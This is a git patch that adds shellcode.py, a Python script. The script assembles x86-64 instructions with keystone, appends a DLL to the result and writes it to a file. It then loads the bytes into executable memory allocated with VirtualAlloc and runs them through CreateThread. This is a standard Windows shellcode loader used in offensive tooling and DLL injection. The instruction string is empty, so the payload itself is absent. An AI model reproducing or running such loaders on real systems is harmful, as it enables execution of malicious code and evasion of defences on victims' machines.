From 5c1db135e9a59aeb7dcb9842682a27a8a86fd301 Mon Sep 17 00:00:00 2001 From: violet-devsec Date: Fri, 6 Jun 2025 10:54:14 -0700 Subject: [PATCH] keystone code added --- shellcode.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 shellcode.py diff --git a/shellcode.py b/shellcode.py new file mode 100644 index 0000000..d05f5fd --- /dev/null +++ b/shellcode.py @@ -0,0 +1,27 @@ +import ctypes, struct +from keystone import * +CODE = ( ) + +ks = Ks(KS_ARCH_X86, KS_MODE_64) +encoding, count = ks.asm(CODE) +print("Encoded %d instructions..." % count) +sh = b"" +for e in encoding: + sh += struct.pack("B", e) +shellcode = bytearray(sh) +print(shellcode) +# Write the (shellcode+target_dll) to a file for later use +with open("target.dll", "rb") as dll_file: + with open("shellcode.sh", "wb") as binary_file: + shellcode += dll_file.read() + binary_file.write(shellcode) +ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p +ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) +ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int)) +space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) +buff = ( ctypes.c_char * len(shellcode) ).from_buffer_copy( shellcode ) +ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(shellcode))) +print("Shellcode located at address %s" % hex(space)) +input("...ENTER TO EXECUTE SHELLCODE...") +handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) +ctypes.windll.kernel32.WaitForSingleObject(handle, -1); \ No newline at end of file